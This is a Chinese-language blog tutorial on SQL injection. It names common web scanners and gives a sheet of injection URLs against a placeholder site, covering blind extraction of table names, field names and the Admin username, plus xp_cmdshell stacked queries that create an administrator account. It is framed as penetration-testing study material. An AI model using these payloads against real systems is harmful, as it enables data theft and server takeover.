玖叶教程网

前端编程开发入门

SQL注入的那些事 如何实现SQL注入

声明

本文仅是渗透测试技术研究,适用人群为:渗透测试人员,IT运维人员,以及Web开发人员,帮助我们在发现登录等容易发生SQL注入漏洞。严禁用于非法用途,否则产生的一切后果由所观看文章的人自行承担,IT者说不承担任何责任。

个人能力有限 如有错误 ,欢迎指出





0x00 前言

书接上篇文章,本文主要介绍SQL注入的位置,工具和常用语法。本文一共2201个字,语句阅读时间:6分钟。

0x01 WHERE----在哪里插入SQL注入语句


SQL注入出现的位置有:HTTP包头、搜索框、登录框、目录名、文件名中。我们这这些插入恶意SQL语句,被数据库执行,触发SqL漏洞。SQL注入漏洞出现的根本原因是sql语句规范和对特殊字符过滤不严导致的。

0x02 HOW---利用工具和手动注入

常用的SQL注入测试工具

Safe3Wvs

Safe3Wvs采用了爬虫技术,可以对网站的连接进行全面的爬取,并且对sql的get注入和post注入以及XSS注入等攻击进行全面的排查扫描。除此之外,它还内置了一部分字典,可以对网站的路径进行测试,对寻找管理员登录页面也是非常有帮助的,和sqlmap搭配起来简直是如虎添翼。

Burpsiute



Burp Suite 是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。

APPscan



IBM Security AppScan(曾用名IBM Rational AppScan)是IBM的Rational软件部门的一组网络安全测试和监控工具。AppScan旨在在开发过程中对Web应用程序的安全漏洞进行测试。该产品学习每个应用程序的行为,无论是现成的或是内部开发的应用程序;该产品还开发了一个程序,用来测试应用程序所有功能的常见的和特定的安全漏洞。

Acunetix WVS



Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的Web网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞。它包含有收费和免费两种版本。

既然有这些高效的自动化工具,同样可以手动注入的方式去测试。

两者的优缺点:测试工具自动化、范围广、效率高漏报、误报、测试方法有限。手动测试测试方法灵活效率低,范围窄,因测试人员水平而异。

0x03 Do it---部分SQL注入漏洞语句

在URL插入,判断能否被注入

① http://www.xxx.com/article.php?id=11

② http://www.xxx.com/article.php?id=11 and 1=1

③ http://www.xxx.com/article.php?id=11 and 1=2

http://www.xxx.com/article.php?id=11 and user>0

判断是ACCESS数据库还是SQL数据库

http://www.xxx.com/article.php?id=11 and (select count() from sysobjects)>0--------SQL http://www.xxx.com/article.php?id=11 and (select count() from msysobjects)>0-------ACCESS

猜表名

http://www.xxx.com/article.php?id=11 and (Select Count(*) from [表名])>=0

猜表名,如果页面显示正确,则说明存在此表名

猜字段名

http://www.xxx.com/article.php?id=11 and (Select Count([字段名]) from [表名])>=0

猜字段名,如果页面显示正确,则说明存在此字段名,该方法须在猜中表名后使用

猜长度

http://www.xxx.com/article.php?id=11 and (select top 1 len(username) from Admin)>N

猜Admin表username字段中,第1条记录的长度N

猜值的ASCII码值

http://www.xxx.com/article.php?id=11 and (select top 1 asc(mid(username,1,1)) from Admin)>N

注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高

执行SQL语句建立用户

http://site/url.php?id=1;exec master..xp_cmdshell “net user name password /add”

将用户设为管理员

http://site/url.php?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”

0x04 总结

纸上得来终觉浅,绝知此事要躬行!熟练掌握SQL注入技术,须不断地练习观察。浪哥也在不断的学习,愿与君同行!

发表评论:

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言